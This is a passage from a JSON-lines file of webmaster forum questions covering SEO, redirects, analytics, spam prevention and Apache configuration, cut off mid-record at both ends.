partially sighted person with minimal setup steps? For question 2, I'd like to avoid recommending that people download and install a screen reader for their OS if I can, because I think doing so will drastically reduce the number of participants. So I'm looking for Web based simulators (and browser plugins if they exist). If you know of a cross-platform screen reader that's easy to set up, then that might be an option too, as would step-by-step guides that turn a Mac or Windows OS and browser into 'accessible mode' without further software, _as long as you're sure that this is a method that partially sighted computer users employ_. The closest in-browser screen reader emulator I've found so far is WebAnywhere. (Warning: audio plays as soon as you click that link.) It's technically very impressive, but it's a beta, and it doesn't yet appear to work reliably as a functional web browser. If there's nothing out there like this, that's fine as an answer too. (I'm prepared to build something that emulates the most common access methods, but I need to understand what those are first.)"}
{"id":"58238","title":"Hiding Menu Item with CSS - will Google penalise my site?","text":"I want to hide some sub menu items, using the CSS class, and assign it to the specific menu item. For example the class is no display: \/* Hide menu items *\/ .nodisplay { display:none !important; } This works great, but I wonder if this would be penalized by Google, as I read that Google don't like hidden texts? I read that Google marks this as spam, is it true not? I have a look at the Gavick Menus and Helix Menus, they are using `display: none;` or `left:-999em;` too for making the elements. So my dilemma is if I use `display: none;` for hiding all my sub level 3 menu items, will Google penalize my site or not? I am asking this, because I saw a lot of drop-down menus to use this technique."}
{"id":"33337","title":"Tracking different types of users","text":"I have an organizational web site that is used by both staff and clients. We've been looking at the analytics data to see how clients are using the site, but finding that some of the usage patterns are almost certainly driven by staff using the site. We would therefore like to somehow track the type of users. It would be fairly simple to have the server side code look at the current user's IP address to determine if it belongs to our staff network and inject this into the page, but I haven't seen any way to push this information into Google Analytics. To be clear, I do **not** want to eliminate the internal traffic from tracking. I'm still interested in it. I just want to be able to separate the two. Any ideas?"}
{"id":"38629","title":"Webmaster Tools is throwing out 404 errors on link not on page","text":"Webmaster Tools is showing thousands of 404 errors, where pages on the site are referring to another incorrect URL. For example, URL not found `www.example.com\/shop\/=`, linked from `www.example.com\/shop\/gift-voucher` and `www.example.com\/shop\/special-plant-offers`. I obviously have checked the source and cannot find any references to this link on any page. The only consistent issue is that it only seems to report this error on pages with two section i.e. `www.example.com\/shop` does not report any error whilst all pages with `www.example.com\/shop\/xxx` (where `xxx` can be several different pages such as `gift-voucher`) all report this. I cannot seem to duplicate this error. I have run a link checker (we use Screaming Frog) and it does not report this error. I have fetched these pages as a bot, and these do not report this error. I am at a total loss. I cannot even duplicate the issue, but it is most definitely an issue, as Webmaster Tools is reporting new errors every day. Is this perhaps Google bot doing its own thing?"}
{"id":"45112","title":"Proper name scrolling news\/photo","text":"I'm very new to webdesign and am wanting to install a scrolling news\/picture banner in the site but don't even know the proper term to search for to find out how to do it. Here's an example of what I'm talking about: http:\/\/www.ed.gov\/ and http:\/\/www.nysed.gov\/ What is this called?"}
{"id":"13072","title":"Should I set up an Ebay account besides my website ","text":"I'm trying to increase the conversion rate for my website. Should I open an Ebay account and try to redirect customers from Ebay to my website?"}
{"id":"45445","title":"Import email addresses to mail group using Plesk","text":"My web hosting service uses Parallels Plesk Panel 9.5 as their Control Panel. I just created a mail group (like a distribution list, one email address to email multiple people). I can only add ONE email address at a time through the Control Panel, and I have hundreds of emails to upload. Is there a better way to do this?"}
{"id":"54049","title":"Using article published dates effects SEO?","text":"In my blog I publish articles with date below under it. My questions are: 1. Using dates will have positive impact or negative impact? 2. After few years of publishing the post, since my post age is old will it remain in same position of search results or it will go down? 3. Finally, should I use published dates or not?"}
{"id":"13077","title":"what is user agent Whirlpool BD2; H010818","text":"what is this user agent Mozilla\/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Whirlpool BD2; H010818) this came from a ip address tracing to the organisation Websense the question also here thanks"}
{"id":"13078","title":"Is it legal to show RSS feeds on my website from another website","text":"I want to display the feeds from multiple news website on my website and create a site which would be something like http:\/\/paper.li So is it legal to display those feeds directly on my website? The site is not a feed reader, but I want to pick specific news article from the feed and display them."}
{"id":"44221","title":"How to access phpMyAdmin with Hosting Controller?","text":"I am trying to update a site for a client. All the login info they have given me is for something called Hosting Controller. I've never seen it before but it seems like cPanel. I can create email accounts and databases etc. The only thing I cannot seem to do is access phpMyAdmin (or similar). Would anyone know how to do this?"}
{"id":"44220","title":"How to avoid spammy links affecting us before SERP rankings going down","text":"We have recently discovered a host of spammy links pointing to our website been put up in last 1 month through webmaster tool We have not engaged any seo agency\/link building and have never created these links Worst, these are spammy forum sites and almost some-one seems making an attack to our site as the link and keyword is same in all these sites Till not Have not received any warning, however as it has come to our notice - before any SERP getting down - we want to action this out One thing we have observed is that - All these spammy links points to a single inner page of website Pl suggest as have a) Will Google disvow tool will work by stating to disvow these links or b) Is it a good way if we make this specific page 'nofollow' and even 'noindex' The reasoning behind this is like if the page is not followed and not indexed - the negative links pointing to the page of the site is already no follow and may be out from google serp or what's the best alternate way to tackle this. Pl suggest in urgent help and advise required"}
{"id":"44223","title":"Can Google show some pages deleted six months back and blocked using Robot.txt?","text":"If I have deleted some pages on my website six months back and blocked these pages using Robots.txt, can that non-existent page show up on Google?"}
{"id":"44226","title":"Security: Hide mysql connection details file","text":"Ok, so I know this must be a very basic question, but my problem is the following: I have developed my first PHP mini-app (so I'm fairly new to this) and I am pretty sure that there are two files of my web application that should be somehow protected from prying eyes * the one with the details to connect to the db * the one with the password hashing and the salt key How should I go about protecting them? I have read somewhere that they should be put somewhere above my public directory, but then how will the app be able to access them? Should I change something in my apache config so that the Document Root is different than something else? Any other things I should consider in terms of security? So far I am escaping every user field that goes into the db with mysql_real_escape_string(), but apart from that and hashing and salting the passwords, I'm not doing anything else."}
{"id":"36175","title":"http request terminating early","text":"I noticed that on some of my sites, images were occasionally not getting downloaded fully. After a bit of investigation it appears that it is not restricted to images - .css, .js etc were also occasionally terminating early. The faults appear to be random. When I use the debug\/proxy tool Fiddler2 reports that fewer bytes have been received than were requested. Firebug reports \"Image corrupt or truncated\". Obviously this is mainly a concern between me and my hosting company. However despite many emails they have not been able to get to the bottom of it. Transfer to another hosting company is obviously an option but is really a last resort. Has anyone seen this kind of thing before or can anyone suggest what might be causing it. Or any apache setting or something that I can ask them to check out. Will apache log this kind of error - they havent been able to provide me with any logs, but if I know exactly where things have been logged, maybe I can prompt them in to action. **EDIT: More data as requested by commenters..** I created a test page. It is pure HTML and embeds 9 images each of size between 4 and 6MB. This is a very large amount of data. I found having so much data speeded up the occurrence of faults which makes benchmarking easier. As a control, I run the same test on the server of another hosting company that I have access to - I never get faults when running on this other host. It is on shared hosting. I have tested it on FF, IE & Chrome. **EDIT - DETAILS OF HEADERS ETC ...** (In case your wondering, this version of the test is not pure HTML but has a small amount of PHP added to to prevent caching.) LiveHeaders o\/p... https:\/\/docs.google.com\/file\/d\/0B93lksnTC7_cYVhQT2lMbms5Mm8\/edit What you see in Firefox... https:\/\/docs.google.com\/file\/d\/0B93lksnTC7_ceHBSbmhXWHhXdlk\/edit What Firebug logs... https:\/\/docs.google.com\/file\/d\/0B93lksnTC7_cOEdmeU1lMkh4UE0\/edit If you have difficulty getting into google docs - alternative... https:\/\/skydrive.live.com\/redir?resid=9F8DE44BC9AC7FD6!107&authkey=!AAXurFZleJE5okQ As you can see the images that failed were: DSC_0046_0.JPG DSC_0232_0.JPG **EDIT - UPDATE** I've noticed that it gets worse if I simultaneously run several copies of the test. (And running several copies of the test on the control host still passes.) Further suggesting that if the server gets too many requests it might be terminating some requests early or something."}
{"id":"36177","title":"500 error on Joomla website","text":"PHP Fatal error: Call to a member function setQuery() on a non-object in \/home\/josh\/public_html\/administrator\/components\/com_jfusion\/plugins\/phpbb3\/forum.php on line 226 Just moved over to a new server. Anyone have ideas as to what is wrong? Is this a database issue? line 226: \/\/get permissions for all forums in case more than one module\/plugin is present with different settings $db = & JFusionFactory::getDatabase($this->getJname()); $query = \"SELECT forum_id FROM #__forums WHERE forum_type = 1 ORDER BY left_id\"; $db->setQuery($query); \/\/226 $forumids = $db->loadResultArray();"}
{"id":"33528","title":"How should I fix the problem of duplicate content created by my CMS system's manual page alias feature?","text":"My site’s CMS has a manual page alias feature which is in wide use. I recently noticed that the aliased pages and the original pages are showing up in GA with separate traffic. For example: www.example.com\/subfolder\/pagename.aspx www.example.com\/pagename\/ these two pages are serving the exact same content from the cms, so it is in effect duplicate content which is bad for SEO. From this extremely helpful page it seems the best option is to add a canonical link to the header. Can anyone verify that as the preferred solution? I would also like to know if this is a common problem among CMS platforms. The one we are using is called Ektron."}
{"id":"54198","title":"Footer not showing in website depending on which item is loaded","text":"I designed a website which is having an issue, but I checked the html tagging very well and cannot fix it. If you go to this item: http:\/\/www.tahara.es\/store\/headbands\/11\/Ivory- Turquoise-headband You will see the FOOTER display normally. However if you go to this other item: http:\/\/www.tahara.es\/store\/headscarves\/15\/Grey-and-ivory-with-stoned-flower- Headscarf The footer does not show. Any clue of what I am missing or adding? The footer DIV is like this: `<div id=\"footer\">`"}
{"id":"18093","title":"seo htaccess 301 redirect","text":"Have an SEO question. I have been checking the progress of my site indexing in Google, for some bizarre reason best known to itself, there is a very random URL indexed against my domain which doesnt exist. http:\/\/www.footballadvisor.net\/index.php?option=com_content&view=article&id=35:is- it-possible-to-change-the-types-of-menu-entries&catid=31:general&Itemid=46 Is there a way I can forward the url and querystring to www.footballadvisor.net as a 301 in my htacess file? Thanks :)"}
{"id":"59355","title":"Google \/ SEO guideline about using a whole page overlay DIV and putting it in focus on Mouse Leave","text":"Recently I stumbled into a startup news website yourstory.com who seem to be using a method to increase user engagement (increase page views) by capturing user's \"Mouse leaving\" event and on recognizing that event set focus to a NEW full page content DIV -- purpose seems to be able to draw user's attention back to \"Most Read\" kind of content-page and inviting them to click through to another page. Even though it seems like a fine way to me (from the User experience), what I am not sure is if such page design can be penalized by Google, as misleading (has hidden DIVs etc). I am hoping to get an opinion if the implementation is SEO-safe :: it seems jQuery is used to capture mouseleave event which when triggered sets focus to an overlay DIV that has \"Most Read\" kind of content- elements. Please advise."}
{"id":"33520","title":"SEO in what element text should be placed?","text":"I am making my web better for SEO and I came up with question: in what element text should be placed? <p><\/p> <span><\/span> <div><\/div> I know that I should use each of them in different situations but I dont know in which situations... **EDIT:** Example of 2 situations\/doubts I encountered"}
{"id":"61762","title":"Does Google crawl and index sites hosted on an IP address only (with no domain name) and non-standard port?","text":"I have website on `203.162.177.159:8071` (Actually, that isn't the real IP address, I changed it for this question.) Because of an internal rule, this site must not have a domain name, and running on **non-standard port**. In Google Webmaster Tools, I see * no crawl errors found * no verification errors found * I tried \"Fetch as Google\" and they are all successful. I can then click the URL to get to the page myself. * I don't have the sitemap yet So why the crawled page and indexed page is still **zero**? Does Google not accept non-domain-name URLs?"}
{"id":"18767","title":"Why don't people embed style and scripts in the HTML?","text":"I know this sounds like a silly question, but hear me out. These days, there are a lot of 'media aggregator' tools that will take your globs of javascript (laden with coffee and underscores and backbones and who knows what else) and string them together and rewrite them and munge them and uglify and minify them them and tape them together so that clients _only have to make one request_ to get all the javascript or style sheets for a site. This is pretty cool. I like keeping my java(coffee)script files small and separate, and I like my clients making only one request. But if we go through all that trouble to make our javascript really small and stuff, why not just send it WITH the first request? Why not just have tools that do the minification and aggregation and then write it directly to the html? Common sense tells me that this would be bad, but I'm not sure why. Can anyone explain?"}
{"id":"18766","title":"mod_rewrite prevent repeating backreference","text":"I am trying to match a single reference in a URL to pass to a script, while retaining the rest as the path to the script. For example: #\/scripts\/paramater\/foo\/bar.php should call #\/scripts\/foo\/bar.php?id=parameter RewriteRule ^scripts\/([^\/]+)\/(.*)$ scripts\/$2?id=$1 [L,QSA] However my backreference is matching multiple times. $2 only contains \"bar.php\" and $1 is somehow repeating for \"parameter\" and \"foo\". How can I prevent the backreference from repeating itself? **Edit:** I've narrowed down the problem somewhat by fiddling with the second part of the rewrite rule. #This doesn't work, as above #Outputs: scripts\/bar.php?id=foo?id=parameter RewriteRule ^scripts\/([^\/]+)\/(.*)$ scripts\/$2?id=$1 [L,QSA] #This works #Outputs: foo\/bar.php?id=parameter RewriteRule ^scripts\/([^\/]+)\/(.*)$ $2?project_slug=$1 [L,QSA] Which confuses me even more! Any help appreciated"}
{"id":"20271","title":"alternatives to google adsense for ajax reloads","text":"What alternatives to google adsense are availalbe that support the reloading of ads through and AJAX application? I can't locate one."}
{"id":"20274","title":"Redirect to subdomain port 8080","text":"I have my domain registered and running. I have installed lifray which is running on tomcat 7, my site url is iloveliferay.com:8080 and I want this to be at `themes.iloveliferay.com`, which file I need to change to make this possible? I have VM cloude hosting and I have root access."}
{"id":"64800","title":"Rich snippet for Google Custom Search - Schema.org","text":"I am trying to extract the book URL from a link using microdata. The format is specified in schema.org. Here is my html. <div class=\"col-sm-4 col-md-3\" itemscope itemtype=\"http:\/\/schema.org\/Book\"> <div class=\"thumbnail\"> <img src=\"{{ book.thumbnailurl }}\" itemprop=\"thumbnailUrl\" style=\"width: 100px;height: 200px;\"> <div class=\"caption\"> <h4><span itemprop=\"name\">{{ book.name }}<\/span> - <span itemprop=\"author\">{{ book.author }}<\/span><\/h4> <p><span itemprop=\"about\"> {{ book.about }}<\/span><\/p> <p> <a href=\"{{ book.url }}\" itemprop=\"url\" onclick=\"trackOutboundLink(‘{{ book.name }}’);\"> <button type=\"button\" class=\"btn btn-default btn-md\"> <span class=\"glyphicon glyphicon-book\"><\/span>Read <\/button> <\/a> <\/p> <\/div> <\/div> <\/div> When I use google snippet testing tool the JSON API returns book as a html link. However when I make the call in javascript the value of url is text(\"Read\"). What am i missing ?"}
{"id":"27809","title":"Does Google counts backlinks from homepage to inside pages?","text":"I have a site with good PR and my inside pages are getting increase of PR, but they don't have links pointing to them, only from my homepage. Does that means that Google counts ALL links on my homepage, including links to inside pages? Does it calculate inside pages PR with one coming from my domain, my homepage, too? Also, if inside pages that got high PR from homepage have link back to homepage, will that increase homepage PR additionally, since those links should count too? > By Google PR algorithm formula, by calculations on Wikipedia and Stanford PR > algorithm explanation ( which is originally developed by ) it counts those > links, and also it counts after-increase backlink again, making few times > circle ( it stops because of d ( 0.85 ) factor. ), but it counts them. Does anyone know is this correct?"}
{"id":"28596","title":"SEO effects of linking to subdomain","text":"I have http:\/\/hollywoodnose.com as a main site. Then I have http:\/\/forum.hollywoodnose.com as the subdomain. I'm cautious to link to the subdomain from the main site. I did this before and droped 50% of traffic from the main site. Also, Google Webmaster Tools showed over 3000 incoming links from Hollywood Nose to the subdomain \/ forum. I'm assuming Google frowned on this and saw it as spam or something of that nature. All I would want is link to the subdomain in the top nav bar of the main site. Is this safe? Will I get an overabundance of incoming links resulting in an SEO drop? Does anyone have any experience in this matter? Thank you."}
{"id":"3544","title":"Make your site anti-bot?","text":"I remember a site closed due to misuse and i wonder if bots have a part of it. If the bot is POSTing something to my site what are ways i can combat it? I was thinking of setting some cookies and having the cookies changed via javascript + timestamp and sign (so yesterdays cookies cant be used today and next week). I'm sure most people\/bots would just use another site instead of enabling JS in their bot. What else can i do? I'm thinking daily POST limit and a honeypot for generic bots who just randomly post spam"}
{"id":"16324","title":"Need help for stopping spam inquiries","text":"> **Possible Duplicate:** > Make your site anti-bot? I am not a web developer, nor have I the required knowledge to grasp this situation. I have a small company with a modest web site where I market properties. Recently, my website is being bombarded with spam inquires. Here are some examples: \"It was dark when I woke. This is a ray of sunhsnie.\" \"This is exactly what I was looknig for. Thanks for writing!\" \"What a joy to find sooemne else who thinks this way.\" As you can see, all of them has typos, probably for tracking the work done. I would be glad if someone can offer a solution to stop this nonsense. Thank you for sharing your time."}
{"id":"9785","title":"Best way to block \"comment spam\" postings to web forms?","text":"> **Possible Duplicate:** > Make your site anti-bot? I have a custom web form on my PHP-based site. Recently it is getting a regular stream of **comment-spam** postings from a few specific IP addresses. **Question:** What is a good way to block a small set of blacklisted IP addresses from accessing my site? I was thinking it should be possible using **.htaccess** to respond with status code 403 (Forbidden) for all HTTP requests from the blacklisted IP addresses, ... but I am not sure exactly how to do that. If anyone knows the **.htaccess** syntax needed to accomplish this, ... please let me know. thanks in advance,"}
{"id":"20636","title":"What's a good way to keep spam out of 'anonymous' submission websites?","text":"> **Possible Duplicate:** > Make your site anti-bot? I'm trying to do everything I can to prevent spammers from just pasting crap all over my forum websites. People get incentivized by video games and porn sites and who-all to just paste their ads all over the Internet. I feel like just locking it all up and requiring admin approval for every account. On the other hand, I don't even like registering for websites. A lot of times, I just go out on a 'do-gooder' mission, trying to hook somebody up with an answer to an extremely difficult question. I run into 3 or 4 forums I've never been to in my life..., just wanting to post on them cause they're at the top of google. I don't want to submit my information to them, though. I don't know or trust them, and I don't want to go through validation steps. So, the Internet just goes without the valuable information that I have, sometimes. I don't want people to just avoid my website because they aren't in the mood to hassle with sign-ups. Naturally, I've tried Captcha and validation e-mails, but spammers are generally smart enough to get by these. Are there some other good techniques?"}
{"id":"29299","title":"Is Placing a form to video is a best practice or not","text":"I have a product site, in which i have a page called Demo. To view this demo, i have placed a form to be filled so that i can contact them. The form contains basic questions such as Email ID, Name, Phone Number. So, customers can view the video only after filling the form. Is it a good practice to place a form or not."}
{"id":"51848","title":"Publicly displayed e-mail address: Is it safe from spam-bots when dynamically generated?","text":"I am currently in the process of making myself an employment website; the entire site uses a client-side rendering engine to dynamically load views. Because of this, the source of the page returns only the template elements. I have my e-mail address written in plain text in one of the views that is loaded after initial page-load. Is this safe from most spam bots? Or at the very least, is it anything I should worry about? Please do not suggest adding an e-mail form or other techniques; I am not asking for alternatives, I am asking specifically about the security behind this method."}
{"id":"29293","title":"How to add google doodle?","text":"I want to know that for whom google adds doodles on its home page? Suppose if I want to add google doodle for my birthday on google homepage then is it possible to do so..? If it is possible then please let me know how to do so. I have gmail and google+ accounts."}
{"id":"47239","title":"I want to redirect subdomain.domain1.com to domain2.com\/directory using DNS","text":"I own 2 domain names \"domain1.com\" and \"domain2.com\", I want to redirect subdomain.domain1.com to domain2.com\/directory using DNS (preferably). Can anyone assist (I am an amateur at domain management)?"}
{"id":"47238","title":"Create partial php.ini files","text":"I want to two split php.ini into two files so that I can move important entries to a new file. I think it is a .ini file so, any rule for creating partial .ini files will also apply to it. Is it possible to do so? If yes, how?"}
{"id":"54375","title":"'Buy the app' landing page implementations: redirect or JavaScript popup?","text":"My site (using Django) has an app that I'm trying to push - I currently have a piece of middleware that redirects the user to a page advertising the app if they're accessing the page on the iPhone, then setting a cookie so that the user isn't bugged by the message every time they visit the site. This works fine, however checking the page with the mobile Googlebot checker shows that the Googlebot gets stuck in the redirect (since it doesn't store cookies) and therefore won't index the proper content. So, I'm trying to think of an alternative implementation that won't hurt the site's Google ranking and won't have any other adverse effects. I've considered a couple of options: * **Redirect (the current solution), but don't redirect if the user agent matches the Googlebot's UA string**. This would be ideal, however I'm not sure if Google like their bot being treated differently from other users, and I'm afraid the site's ranking may be somehow penalised if I go ahead with this. * **Use a JavaScript popup instead of a redirect**. This would make sure the Googlebot finds the content it needs, however I envision this approach causing compatibility issues with the myriad mobile devices\/browsers out there, and may affect the page load time. How valid are these options? And is there a better option for implementing this feature out there? I've tried researching this topic but surprisingly can't find any reputable-looking blog posts that explore this topic."}
{"id":"68736","title":"Canonical and hreflang implementation for international desktop and mobile site versions","text":"I have an interesting case and I am lost in it. There are two versions of the site: desktop and mobile. And there are also international versions: English and Spanish. I'm stuck at implementation of canonical tags. Currently my setup has the following: English (default) desktop page has these: <link rel=\"alternate\" href=\"http:\/\/www.site.com\" hreflang=\"x-default\"> <link rel=\"alternate\" href=\"http:\/\/www.site.com\" hreflang=\"en\"> <link rel=\"alternate\" href=\"http:\/\/www.site.com\/es\/\" hreflang=\"es\"> <link rel=\"alternate\" media=\"only screen and (max-width: 640px)\" href=\"http:\/\/m.site.com\/\" > English Mobile page has these: <link rel=\"alternate\" href=\"http:\/\/m.site.com\/\" hreflang=\"x-default\"> <link rel=\"alternate\" href=\"http:\/\/m.site.com\/\" hreflang=\"en\"> <link rel=\"alternate\" href=\"http:\/\/m.site.com\/es\/\" hreflang=\"es\"> <link rel=\"canonical\" href=\"http:\/\/www.site.com\/\"> Spanish Desktop version: <link rel=\"alternate\" href=\"http:\/\/m.site.com\/\" hreflang=\"x-default\"> <link rel=\"alternate\" href=\"http:\/\/m.site.com\/\" hreflang=\"en\"> <link rel=\"alternate\" href=\"http:\/\/m.site.com\/es\/\" hreflang=\"es\"> <link rel=\"canonical\" href=\"http:\/\/www.site.com\/\"> Spanish Mobile version: <link rel=\"alternate\" href=\"http:\/\/m.site.com\/\" hreflang=\"x-default\"> <link rel=\"alternate\" href=\"http:\/\/m.site.com\/\" hreflang=\"en\"> <link rel=\"alternate\" href=\"http:\/\/m.site.com\/es\/\" hreflang=\"es\"> <link rel=\"canonical\" href=\"http:\/\/www.site.com\/es\/\"> But I somewhat feel that I messed the things... Three questions: **1.** Could you guys point me to what I did wrong and explain how to set it right? **2.** Since I'm redirecting from desktop version of the pages to mobile pages when mobile users access desktop the pages, do I also need to redirect desktop visitors to desktop page versions if they visit mobile pages? **3.** Since my pages already have alternate and hreflang references to point to international and mobile versions of the pages, if I add 5 languages of desktop versions and 5 languages of mobile versions to sitemaps, my sitemaps will get bulky. What are the pros and cons for referencing all page versions in sitemap and for include just general (English\/Desktop) version in sitemap?"}
{"id":"58427","title":"How to test the hosting before you will buy it","text":"There are several services giving a possibility to test ping time to a server. But if I don't have any server on tested hosting yet - how do I test the ping to it? Can I ping hosting web-site it self?"}
{"id":"47233","title":"What is the maximum size of an HTML file that Google will crawl through?","text":"I have a 10MB HTML file. Will Google crawl through the entire file, or does it only look at the first X MB?"}
{"id":"47237","title":"Does google take into account page load differences from caching?","text":"Here's what I mean by that. If I use internal CSS, the page will load a bit quicker on the first time it is visited, but with external CSS a user can cache the document and load the rest of the site faster. Does Google take it on a page-by-page basis, ignoring caching, or will speeding up overall speeds throughout the site with one large CSS document be beneficial? My priority is SEO rather than user experience in this case, due to the fact that in this instance the user experience difference will be relatively minimal, and I want to crank the SEO as hard as possible. Thanks for the help!"}
{"id":"23074","title":"Is reCaptcha now basically useless?","text":"Is reCaptcha now basically useless? I have read around the internet that reCaptcha has been broken, and spam bots easily overcome it. Has Google addressed this at all. Do they have any plans to fix it? I cannot find this type of info on the web, and I was hopeing somebody may have some insight. Are there any similar, reliable, more secure webservices out there for this type of thing? I do not want to have to make my own captcha type class because on-the-fly image processing is fairly resource intensive, and I do not want to make a Q&A type captcha (I do not want this class to need DB access). Any suggestions or info about reCaptcha's problems are welcome."}
{"id":"59011","title":"Similar article by the same Google Author","text":"I have two websites which are focusing on two different things (both are timbers, but different type of timber). Let's say if I post in both sites an article (the article is about bush fire) which has exactly same content with exception of the last sentence, will one of the websites get penalized by Google for having duplicate content? What if both sites use the same Google Author? Will this make any difference?"}
{"id":"49426","title":"How can Google crawl content accessed via filter check-boxes?","text":"I built a website that is divided into many categories. Each page displays the main category, and within that there is a check-box filter (like Amazon and eBay have when searching for items). I want this filter to be indexed by crawlers so that my sub-categories will also appear in the search engines results. How should I build this filter?"}
{"id":"59014","title":"Traits of successful sites","text":"I learned hard way creating websites. Once it dawned on me that we should have social networking on our sites, then another day that a mobile version is required. That we should register with Google Analytics and Google Webmaster Tools. Analysis with AWstats is also crucial for visitor stats. Successful sites are most likely on VPS or higher hosting. Choosing right CMS is also important. Implied is good original content. **Without making further discoveries .. I'd like to know from pro-webmasters the common traits of all successful sites.** * * * **UPDATE:** I'm not asking about the content or the quality of it. I want to know common features\/functions of successful sites."}
{"id":"15118","title":"What exactly is a company like SoftLayer?","text":"I found out hostgator has their servers hosted with softlayer. I wasn't aware there was another company involved. Can someone explain to me what's the role of a company like softlayer exactly and what they do vs. what hostgator does?"}
{"id":"15116","title":"How do I setup a permanent redirect from one domain to another?","text":"I have a domain, say www.example.com which is redirected to a website built in Google Sites. I don't want different search engines treat example.com as a different site from www.example.com. How do I make a permanent link between the two? My domain is under GoDaddy. **EDIT** In Go Daddy, I have forwarding option set to Google site link. Under CNAME, I have Google provided alias and directions."}
{"id":"15113","title":"Do users resize text?","text":"I'm redesigning a website. For certain content areas the layout is fine at my text size but screws up if I set the text any bigger. I often resize pages with Firefox, but the whole page resizes so the layout still works. So, should I worry about users having larger text but the same CSS otherwise? I don't know how to test for this sort of thing. The site works fine with every browser I've looked at it with. I know some usability devices change layouts but don't they ignore normal styles altogether?"}
{"id":"58370","title":"Is redirecting a subdomain to point to a folder good practice?","text":"I have a blog which can be accessed at http:\/\/mysite.com\/blog\/ I would like to access it like this because I think it looks cleaner http:\/\/blog.mysite.com I did some reading on domains, subdomains, and redirects and have created a subdomain with the desired URL and re-directed it to the blog path. Is this a common set up? Is there a better way to accomplish what I want to do?"}
{"id":"29127","title":"Cookie Audit help needed","text":"Can anyone recommend any decent cookie audit plugins for firefox or chrome I can see the typical google cookies on the site but I am struggling to find out what a couple of the other cookies actually do What is the best way to find out what a cookie actually does?"}
{"id":"58541","title":"Can I set Cache-Control in the .htaccess file for a specific part of a document (just a section of the <body>)","text":"I noticed, by using Google Page Speed Insights, that if I structure my HTML to load the critical, above-the-fold content first, my page will improve performance - and it woks (with now current perf. of Mobile 71\/100 - Pc 87\/100). My question is, with Apaches's mod_header activated, and with no content inside my `<head>` tag, is it possible to set Data Expires for any part of my page (inside the body, eg)?"}
{"id":"25896","title":"Tweet count just shot up","text":"On our homepage we have a tweet button and counter: http:\/\/www.scirra.com This was around 600 until overnight it suddenly doubled to 1,200. It's been continuing to rise at a normal rate since. Has Twitter changed what counts as a Tweet for that counter? I've noticed competitors counts have dropped significantly. We don't buy tweets or followers, and I haven't found any spam tweets about us nor have we had any significant recent press."}
{"id":"29128","title":"Managing multiple reverse proxies for one virtual host in apache2","text":"I have many reverse proxies defined for my `js-host` VirtualHost, like so: **\/etc\/apache2\/sites-available\/js-host** <VirtualHost *:80> ServerName js-host.example.com [...] ProxyPreserveHost On ProxyPass \/serviceA http:\/\/192.168.100.50\/ ProxyPassReverse \/serviceA http:\/\/192.168.100.50\/ ProxyPass \/serviceB http:\/\/192.168.100.51\/ ProxyPassReverse \/serviceB http:\/\/192.168.100.51\/ [...] ProxyPass \/serviceZ http:\/\/192.168.100.75\/ ProxyPassReverse \/serviceZ http:\/\/192.168.100.75\/ <\/VirtualHost> The js-host site is acting as shared config for all of the reverse proxies. _This works_ , but managing the proxies involves edits to the shared config, and an apache2 restart. Is there a way to manage individual proxies with `a2ensite` and `a2dissite` (or a better alternative)? My _main objective_ is to isolate each proxy config as a separate file, and manage it via commands. **First Attempt** I tried making separate files with their own VirtualHost entries for each service: **\/etc\/apache2\/sites-available\/js-host-serviceA** <VirtualHost *:80> ServerName js-host.example.com [...] ProxyPass \/serviceA http:\/\/192.168.100.50\/ ProxyPassReverse \/serviceA http:\/\/192.168.100.50\/ <\/VirtualHost> **\/etc\/apache2\/sites-available\/js-host-serviceB** <VirtualHost *:80> ServerName js-host.example.com [...] ProxyPass \/serviceB http:\/\/192.168.100.51\/ ProxyPassReverse \/serviceB http:\/\/192.168.100.51\/ <\/VirtualHost> The problem with this is apache2 loads the first VirtualHost for a particular ServerName, and ignores the rest. They aren't \"merged\" somehow as I'd hoped."}
{"id":"60434","title":"Why does bot traffic have a high (e.g. 100%) bounce rate in GA?","text":"Since bots may request many pages at a time, why do they so often have a 100% bounce rate? It seem unlikely that they would only request one page, then leave for over 30 minutes, then request another page, and so on Could use some help understanding their behavior"}
{"id":"31742","title":"Magento Shopping Cart Rule Based on Grand Total?","text":"I was wondering if anyone knew how to set up a shopping cart rule to apply only if the grand total of the cart is >= some certain value. I see that Magento allows you to set up rules based on the subtotal, but never on the grand total. Does anyone have an idea? Thanks. By the way, we are using Magento Enterprise edition version 1.10.1."}
{"id":"31215","title":"Google search results are invalid","text":"I'm writing a program that lets a user perform a Google search. When the result comes back, all of the links in the search results are links not to other sites but to Google, and if the user clicks on one, the page is fetched not from the other site but from Google. Can anyone explain how to fix this problem? My Google URL consists of this: http:\/\/google.com\/search?q=gargle But this is what I get back when the user clicks on the Wikipedia search result, which was http:\/\/www.google.com\/url?q=http:\/\/en.wikipedia.org\/wiki\/Gargling&sa=U&ei=_4vkT5y555Wh6gGBeOzECg&ved=0CBMQejAe&usg=AFQjeNHd1eRV8Xef3LGeH6AvGxt- AF-Yjw <!DOCTYPE html PUBLIC \"-\/\/W3C\/\/DTD XHTML 1.0 Transitional\/\/EN\" \"http:\/\/www.w3.org\/TR\/xhtml1\/DTD\/xhtml1-transitional.dtd\"> <html lang=\"en\" dir=\"ltr\" class=\"client-nojs\" xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\"> <head> <title>Gargling - Wikipedia, the free encyclopedia<\/title> <meta http-equiv=\"Content-Type\" content=\"text\/html; charset=UTF-8\" \/> <meta http-equiv=\"Content-Style-Type\" content=\"text\/css\" \/> <meta name=\"generator\" content=\"MediaWiki 1.20wmf5\" \/> <meta http-equiv=\"last-modified\" content=\"Fri, 09 Mar 2012 12:34:19 +0000\" \/> <meta name=\"last-modified-timestamp\" content=\"1331296459\" \/> <meta name=\"last-modified-range\" content=\"0\" \/> <link rel=\"alternate\" type=\"application\/x-wiki\" title=\"Edit this page\" > <link rel=\"edit\" title=\"Edit this page\" > <link rel=\"apple-touch-icon\" > <link rel=\"shortcut icon\" > <link rel=\"search\" type=\"application\/opensearchdescription+xml\" > <link rel=\"EditURI\" type=\"application\/rsd+xml\" > <link rel=\"copyright\" > <link rel=\"alternate\" type=\"application\/atom+xml\" title=\"Wikipedia Atom feed\" > <link rel=\"stylesheet\" href=\"\/\/bits.wikimedia.org\/en.wikipedia.org\/load.php?debug=false&lang=en&modules=ext.gadget.teahouse%7Cext.wikihiero%7Cmediawiki.legacy.commonPrint%2Cshared%7Cskins.vector&only=styles&skin=vector&*\" type=\"text\/css\" media=\"all\" \/> <style type=\"text\/css\" media=\"all\">#mwe-lastmodified { display: none; }<\/style><meta name=\"ResourceLoaderDynamicStyles\" content=\"\" 